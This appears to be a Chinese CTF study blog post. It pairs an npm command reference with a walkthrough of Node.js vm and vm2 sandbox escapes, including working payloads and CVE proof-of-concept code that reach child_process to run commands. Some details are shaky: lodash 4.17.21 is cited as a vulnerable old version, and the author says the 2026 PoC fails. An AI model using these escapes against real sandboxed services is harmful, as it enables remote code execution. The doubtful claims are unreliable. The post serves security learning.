nmp使用

这里去看官网的详细指令还有民间大佬的精髓总结
NPM (Node Package Manager) 不仅仅是 Node.js 的包管理工具,用于安装、共享和管理项目依赖。CTF中,它更是我们进行依赖环境配置、历史漏洞复现以及供应链安全审计的必备武器。

1. 基础环境与配置

NPM 会随着 Node.js 自动安装。

  • 环境自检: * node -v 检查 Node.js 版本。

    • npm -v 检查 NPM 版本。

    • npm doctor 检查 NPM 环境的健康状态。

  • 网络加速(国内环境):

    • 由于网络问题,可以配置镜像。

    • 安装并使用淘宝镜像:npm install -g cnpm --registry=https://registry.npmmirror.com。随后可用 cnpm install <package-name> 替代 npm 安装。

    • 或者通过命令设置代理:npm config set proxy http://proxy-server:port

  • 操作配置:

    • npm config 可用于管理 npm 的配置文件。

    • npm getnpm set 用于获取或设置配置中的具体值。

2. 项目初始化与依赖管理

开发或打靶机的第一步通常是阅读或生成配置文件(package.json)。

初始化项目

  • npm init 创建一个 package.json 文件。

  • npm init -y 快速生成该文件,跳过所有交互问答。

核心安装命令 (npm install)

  • 常规本地安装: npm install <package-name> 或简写 npm i <package-name>。依赖默认保存到 dependencies 中;若使用 --save-dev 则添加到 devDependencies(开发环境依赖)。

  • 全局安装: npm install -g <package-name>

    场景提示: 全局安装通常用于命令行工具。例如在前端开发中常用的脚手架 create-react-app,或者代码监听工具 nodemon

  • 指定版本安装(CTF 核心技能): npm install <package>@<version>

    场景提示: 在 CTF 中复现老漏洞时必备。例如题目使用了存在沙箱逃逸漏洞的旧版 lodash,可以指定安装:npm install lodash@4.17.21

  • 按配置全量安装: 直接输入 npm install 会安装 package.json 中定义的所有依赖。如果需要一个完全干净的、严格匹配锁文件的安装环境(常用于 CI/CD),可以使用 npm ci

依赖维护清理

  • 卸载包: npm uninstall <package-name> 用于本地卸载;npm uninstall -g <package-name> 用于全局卸载。

  • 更新包: npm update <package-name>

  • 清理无用依赖: npm prune 可以移除多余的(不在 package.json 中)包。npm dedupe 可用于减少依赖树中的重复项。

  • 缓存清理: 如果遇到莫名其妙的安装报错,可通过 npm cache clean --force 清理缓存(npm cache 命令专门用于操作包缓存)。

3. 信息收集与安全审计 (Security & Audit)

  • 安全漏洞扫描: npm audit 用于运行安全审计并检查已知漏洞。npm audit fix 尝试自动修复这些漏洞。

  • 生成软件物料清单: npm sbom 可以生成项目的 SBOM (Software Bill of Materials)。

    场景提示 在企业级 Web 安全中,SBOM 是防范供应链攻击(如投毒包)的基础。

  • 查看依赖树: * npm lsnpm list 列出本地已安装的包。

    • npm list -g --depth=0 仅查看全局安装的顶层包。

    • npm find-dupes 可以在包树中查找重复项。

  • 版本监控: npm outdated 检查项目中是否有过时的包。

  • 在线文档与源码: * npm view 查看注册表中的包信息。

    • npm docs 在浏览器中打开包的文档。

    • npm repo 在浏览器中打开包的代码仓库(如 GitHub)。

4. 脚本执行与工程化

在实战中,我们经常需要快速启动服务或执行测试。

  • 定义脚本:package.jsonscripts 字段定义,如 "start": "node app.js"

  • 运行脚本: * npm run 可以运行在 scripts 中定义的任意脚本。

    • 内置快捷命令:npm start 启动包,npm test 测试包。
  • 免安装执行(神器 npx / npm exec): 运行本地或远程 npm 包中的命令。

    场景提示: 在 GitHub 上看到一个用于探测 Web 漏洞的 Node.js 脚本,不想污染本地全局环境,可以直接 npx <package-name> 临时下载并执行一次。

5. 个人开源与包发布

了解开发者是如何发布包的

  • 账号管理: 去 npm 官网注册账号后,使用 npm login 本地登录(npm adduser 也可添加注册表账户,npm logout 登出)。

  • 版本控制: 语义化版本规则为 MAJOR.MINOR.PATCH(如 1.2.3)。可通过 npm version patch 自动升级补丁版本(如 1.0.0 → 1.0.1)。

  • 发布与撤回:

    • npm publish 发布包到公开注册表。

    • npm deprecate 废弃包的某个版本(提示用户不再维护)。

    • npm unpublish 从注册表中彻底移除包(有严格的时间限制)。

6. 避坑指南

  • 权限错误: 如果在全局安装时报错,Mac/Linux 用户需要加 sudo,Windows 用户需以管理员身份运行 CMD/PowerShell。

  • 版本控制符号识别: package.json 中的 ^1.0.0 表示安装 1.x.x 最新版;~1.0.0 表示安装 1.0.x 最新版。注意识别这些符号,防止复现环境版本出现偏差。

vm

0x00 前置知识:Node.js 作用域与沙箱的本质

和之前做的python环境沙箱逃逸原理一模一样 但其实vm本来就不是一个安全机制 只是可以用来做一下效果不好的“隔离”。

  • 沙箱机制:沙箱的工作机制主要是依靠重定向,将恶意代码的执行目标重定向到沙箱内部,隔离有害程序。

  • Node.js 作用域(Context):在 Node.js 中,每一个文件(包)都有一个自己的上下文,包之间的作用域是互相隔离不互通的。所有包都共享一个最高级别的全局对象 global(挂载了 processconsole 等)。

  • 为什么不用 eval eval() 容易导致当前作用域的变量污染;而 new Function 虽然能隔离,但外部变量传参非常麻烦。因此 Node.js 提供了 vm 模块来开辟独立上下文。


0x01 原生 vm 模块基础 API

  • vm.runInThisContext(code):在当前 global 下创建作用域,能访问 global,不能访问当前包的局部变量。

  • vm.createContext([sandbox]):将一个普通对象“上下文化”,使其成为后续代码运行的全局对象。

  • vm.runInNewContext(code[, sandbox]):直接传入代码和沙箱对象,编译并在新上下文中运行。


0x02 基础逃逸:利用 this 与原型链

1. this 到底指向谁?

vm.runInNewContext(code, context) 中,沙箱内部的 this 默认指向传入的 context(上下文对象)。

JavaScript

1
2
3
4
5
const vm = require('vm');
const context = { name: 'myContext' };
// this 指向了 runInNewContext 提供的上下文 context
const result = vm.runInNewContext(`this.name`, context);
console.log(result); // 输出 'myContext'

2. 经典的 Constructor 逃逸

如果宿主环境传入了一个普通的对象(哪怕是空对象 {}),这个对象也是在宿主环境中创建的。它的底层构造函数(Constructor)依然属于宿主。

我们可以通过 this 顺藤摸瓜:

  1. this -> 宿主传进来的 context 对象。

  2. this.constructor -> 宿主环境的 Object

  3. this.constructor.constructor -> 宿主环境的 Function

既然拿到了宿主环境的 Function,我们就可以动态执行代码,并返回宿主的 process 对象:

JavaScript

1
2
3
4
// 逃逸 Payload
const y1 = this.constructor.constructor('return process')();
// 拿到 process 后,执行系统命令
y1.mainModule.require('child_process').execSync('whoami').toString();

(注:有时也可以用 this.toString.constructor 达到同样的效果,因为 toString 也是宿主环境的方法。)

避坑提示: 如果传入沙箱的 context 是基本类型(如数字、字符串),它们传递的是值而不是引用,沙箱内无法利用。


0x03 危险的上下文(Context)

有时开发者缺乏安全意识,会直接将敏感对象传入沙箱。这种情况下,甚至不需要原型链,直接调用即可。

JavaScript

1
2
3
4
5
6
7
8
9
10
const vm = require('vm');

// 宿主创建了一个包含危险对象的上下文
const context = {
myProcess: process, // 将全局的 process 传入
myRequire: require, // 将 require 传入
};

const code = 'myProcess.mainModule.require("child_process").execSync("whoami").toString()';
console.log(vm.runInNewContext(code, context));

0x04 进阶防御与挑战:Object.create(null)

为了防御上述的 this.constructor 攻击,聪明的开发者开始使用 Object.create(null) 来创建上下文。

JavaScript

1
2
3
4
5
const vm = require('vm');
const script = `this.constructor.constructor('return process')()`;
const sandbox = Object.create(null); // 创建一个没有原型链的极简对象
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context); // 这里会报错!

为什么失效了? 因为 Object.create(null) 创建的对象没有原型__proto__undefined)。沙箱内的 this 无法调用 .constructor,第一条路被彻底堵死。


0x05 无上下文逃逸:神技 arguments.callee.caller

面对 Object.create(null),原型链断了怎么办?我们可以利用 JavaScript 的调用栈特性。

核心利器:arguments.callee.caller > 它可以返回当前函数的调用者。如果我们在沙箱里设下埋伏,诱导沙箱外的“宿主”来调用沙箱里的函数,那么 caller 就会指向宿主环境中的对象!

技巧 A:重写 __toString 诱导宿主

思路:在沙箱中返回一个对象,重写它的 toString 方法。当宿主环境尝试将这个返回值与字符串拼接(例如 console.log('Hello ' + res))时,会隐式触发 toString。 此时,是宿主环境(外)触发了 toString(内),caller 成功捕获宿主。

JavaScript

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const vm = require('vm');
const script = `(() => {
const a = {};
a.toString = function () {
// 捕获沙箱外的调用者
const cc = arguments.callee.caller;
// 顺着调用者拿到宿主的 process
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
return a; // 将恶意对象返回给外部
})()`;

const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
// 宿主无意中拼接字符串,触发了陷阱!
console.log('Hello ' + res);

技巧 B:使用 Proxy 拦截任意属性

思路:返回一个 Proxy(代理)对象。只要宿主环境尝试读取返回结果的任何属性(如 res.abc),就会触发 get 钩子,同样可以捕获 caller

JavaScript

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const vm = require("vm");
const script = `(() =>{
const a = new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
return a;
})()`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.abc); // 宿主读取属性,触发 get 陷阱!

技巧 C:终极形态——主动抛出异常(Error 逃逸)

思路:以上两种方法都需要宿主配合(拼接字符串或读取属性)。如果宿主仅仅是捕获了异常并打印呢? 我们可以在沙箱中直接 throw(抛出)一个带有 Proxy 的错误对象。当宿主环境 catch(e) 并尝试将错误信息 e 打印出来时(字符串拼接),就会触发逃逸。

JavaScript

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const vm = require("vm");
const script = `
// 主动抛出 Proxy 错误
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
`;
try {
vm.runInContext(script, vm.createContext(Object.create(null)));
} catch(e) {
// 宿主打印错误信息,字符串拼接触发 get 钩子
console.log("error:" + e);
}

然后自己搞了个环境 用最基础的payload跑通

1
2
3
4
5
6
7
8
const vm = require('vm');

console.log("xiexie");

const sandbox = {
user: 'xiexie'
};
vm.createContext(sandbox);

payload如下

1
2
3
4
5
6
7
8
// a. 获取沙箱的全局对象 (this 指向 sandbox)
// b. 拿到宿主环境的 Object 构造函数 (this.constructor)
// c. 拿到宿主环境的 Function 构造函数 (this.constructor.constructor)
// d. 动态创建一个函数并立刻执行,返回宿主的 process 对象
const hostProcess = this.constructor.constructor('return process')();

// e. 拿到 process 后,引入 child_process 模块执行系统命令
hostProcess.mainModule.require('child_process').execSync('calc');


也是执行完这里就系统调用出了计算机 当然什么命令都是可以执行的

vm2

既然原生的 Context 隔离像筛子一样漏风,vm2 的作者决定在这个“玻璃房”外面,用 JavaScript 的高级特性生生浇筑出一堵“铁墙”。

对比 vm1vm2 做了以下三次史诗级的升级:

升级一:ES6 Proxy 代理之墙

原生 vm 允许你直接触摸宿主传进来的对象。而 vm2 引入了 ES6 的 Proxy 对象。 在 vm2 中,任何跨越沙箱边界的对象,都会被强制套上一层 Proxy 壳子。

  • 当你试图在沙箱里访问 this.constructor 时:

    • 原生 vm:直接返回宿主的 Function 构造器 -> RCE 成功

    • vm2:触发 Proxy 的 get 拦截器。vm2 的源码会检查:“你想访问 constructor?危险!”,然后返回一个沙箱内部的安全 Function,或者直接抛出异常 -> 逃逸失败

升级二:Contextify 与 Decontextify

vm2 在源码中实现了两个极其复杂的对象转换函数,相当于沙箱与宿主之间的“海关”。

  • Contextify(沙箱化):宿主的对象/函数进入沙箱时,必须经过 Contextify。它会把宿主对象的敏感属性全部过滤,并包上 Proxy,变成一个“安全”的伪造对象。

  • Decontextify(去沙箱化):沙箱的对象(比如函数的返回值)要输出给宿主时,必须经过 Decontextify。防止沙箱在返回值里埋地雷(比如我们在 0x04 讲过的,返回一个重写了 toString 的恶意对象来反向捕获宿主)。

升级三:重写危险的内置 API (sandbox.js)

在原生 vm 中,如果你不小心把 global 传进去,沙箱就能直接用 setTimeoutBuffer 等内置模块搞事情。 vm2 为了防患于未然,在源码的 sandbox.js 中,直接**重写并 mock(模拟)**了大量的 Node.js 内置对象:

  • 它不给你真实的 Buffer,而是给你一个被阉割过的安全 Buffer

  • 它劫持了 setTimeoutsetInterval,防止你利用定时器逃逸。

  • 彻底屏蔽 processrequire

还是有洞 下面复现危害很大的几个CVE

1. CVE-2019-10761:极限爆栈(Call Stack Overflow)逃逸

  • 复现环境: Node.js v12.x 或 v14.x

  • 安装命令: npm install vm2@3.6.10

这个漏洞的精髓在于**“利用 V8 引擎底层的物理限制”。 我们无法通过正常的 Proxy 访问外部对象,但我们可以逼迫**外部函数在执行时抛出错误。当调用栈(Call Stack)达到 V8 的最大深度(通常是 10000 左右)时,如果恰好轮到宿主的函数(如 Buffer.prototype.write)入栈,引擎会直接抛出属于宿主环境的 RangeError: Maximum call stack size exceeded 对象。我们在沙箱里 catch 住它,就拿到了宿主的 constructor。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
"use strict";
const { VM } = require('vm2');

const untrusted = `
const f = Buffer.prototype.write; // 目标:宿主函数
const ft = { length: 10, utf8Write(){} };

function r(i){
var x = 0;
try { x = r(i); } catch(e){} // 疯狂递归逼近爆栈临界点
if(typeof(x) !== 'number') return x;
if(x !== i) return x + 1;
try {
f.call(ft); // 在爆栈的最后一刻,调用宿主函数!
} catch(e) {
return e; // 成功拿到宿主的 Error 对象
}
return null;
}
var i = 1;
while(1){
try {
// 拿到宿主异常对象后,常规连招 RCE
i = r(i).constructor.constructor("return process")();
break;
} catch(x) { i++; }
}
i.mainModule.require("child_process").execSync("calc"); // Mac 换 open -a Calculator
`;

try {
new VM().run(untrusted);
} catch(x) { console.log(x); }

2. CVE-2021-23449:动态 import() 语法层逃脱

  • 复现环境: Node.js v14.x

  • 安装命令: npm install vm2@3.9.3

vm2 通过重写 require 和 Proxy 拦截了绝大部分模块导入。但是,作者忽略了 ES6 新增的动态 import()import() 在 JS 规范中是一个底层的语法关键字,而不是普通的内置函数。vm2 当时没有对 import() 返回的 Promise 对象套 Proxy。沙箱代码一执行 import(),返回的直接就是裸露的宿主 Promise 对象,降维打击瞬间完成。

1
2
3
4
5
6
7
8
9
10
11
const { VM } = require('vm2');
const vm = new VM();

// 我们甚至不需要 foo.js 存在,因为即使抛出异常,返回的 Promise 也是宿主的
const code = `
let res = import('./foo.js');
// res 是宿主 Promise,其 toString 也是宿主的方法
res.toString.constructor("return process")().mainModule.require("child_process").execSync("calc");
`;

vm.run(code);

3. CVE-2023-29017:Error.prepareStackTrace 底层泄露

  • 复现环境: Node.js v18.x (强烈建议 v18.16.0 左右)

  • 安装命令: npm install vm2@3.9.14

这是 2023 年把 vm2 逼上绝路的关键 CVE。当处理未捕获的异步异常时,V8 会在底层调用 Error.prepareStackTrace 来格式化堆栈。在这个极其偏僻的底层回调中,V8 塞入了一个 frames(调用栈帧)数组。vm2 给几乎所有东西都加了 Proxy,唯独漏了这个由 V8 引擎直接抛给回调的 frames 数组。攻击者只需劫持这个裸露的数组,就能顺着 constructor 爬出去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const { VM } = require('vm2');
const vm = new VM();

const payload = `
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
// 这里的 args 就是 V8 漏给我们的未代理的宿主 frames
const hostProcess = args.constructor.constructor("return process")();
hostProcess.mainModule.require("child_process").execSync("calc");
return "Pwned!";
}
})
};
try { err.stack; } catch (al) { } // 触发栈格式化
`;

vm.run(payload);

4. CVE-2026-22709 —— globalPromise 劫持

  • 复现环境: Node.js v20.x 或以上

  • 安装命令: npm install vm2@3.10.0 (漏洞影响 3.10.1 及更早版本,在 3.10.2 中被修复)

这个是最近的漏洞 影响还是挺大的 该漏洞的根本原因在于:JavaScript 中的 async 函数返回的是底层的 globalPromise 对象,而不是 vm2 内部经过安全净化的 localPromisevm2lib/setup-sandbox.js 中严密过滤了 localPromise.prototype.then 的回调函数,却忘了净化 globalPromise.prototype.thencatch

如何利用?既然 catch 回调没被过滤,攻击者可以重写 Function.prototype.call,直接拦截全局 Promise 调用 catch 时的底层执行过程 (globalPromiseCatch.call())。在拦截器中,攻击者绕过了 ensureThis() 检查,直接捕获到保留着宿主 Error 引用的未净化异常对象!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
const { VM } = require('vm2');
const vm = new VM();

const payload = `
let hostProcess;

// 1. 劫持 Function.prototype.call,设下拦截网
const originalCall = Function.prototype.call;
Function.prototype.call = function(...args) {
// args[1] 是传入 catch 的 error 对象
const target = args[1];

// 如果抓到了漏网的宿主 Error 对象
if (target && target.constructor && target.constructor.name === 'Error') {
try {
// 祖传技能:连环 constructor 拿 process
hostProcess = target.constructor.constructor('return process')();
} catch(e) {}
}
return originalCall.apply(this, args);
};

// 2. 构造 async 函数,强制返回未净化的 globalPromise
async function trigger() {
throw new Error("2026_Sandbox_Bypass");
}

// 3. 触发未受保护的 globalPromise.prototype.catch
trigger().catch(err => {});

// 4. 收割宿主权限
if (hostProcess) {
hostProcess.mainModule.require('child_process').execSync('calc');
}
`;

vm.run(payload);

不知道为什么啊 按理说应该可以在比较新的node版本里面复现的 但是这里不行 后面再研究一下

参考 https://wlaq.njupt.edu.cn/2026/0208/c14800a297032/page.htm
https://www.cnblogs.com/zpchcbd/p/16899212.html
https://xz.aliyun.com/news/11305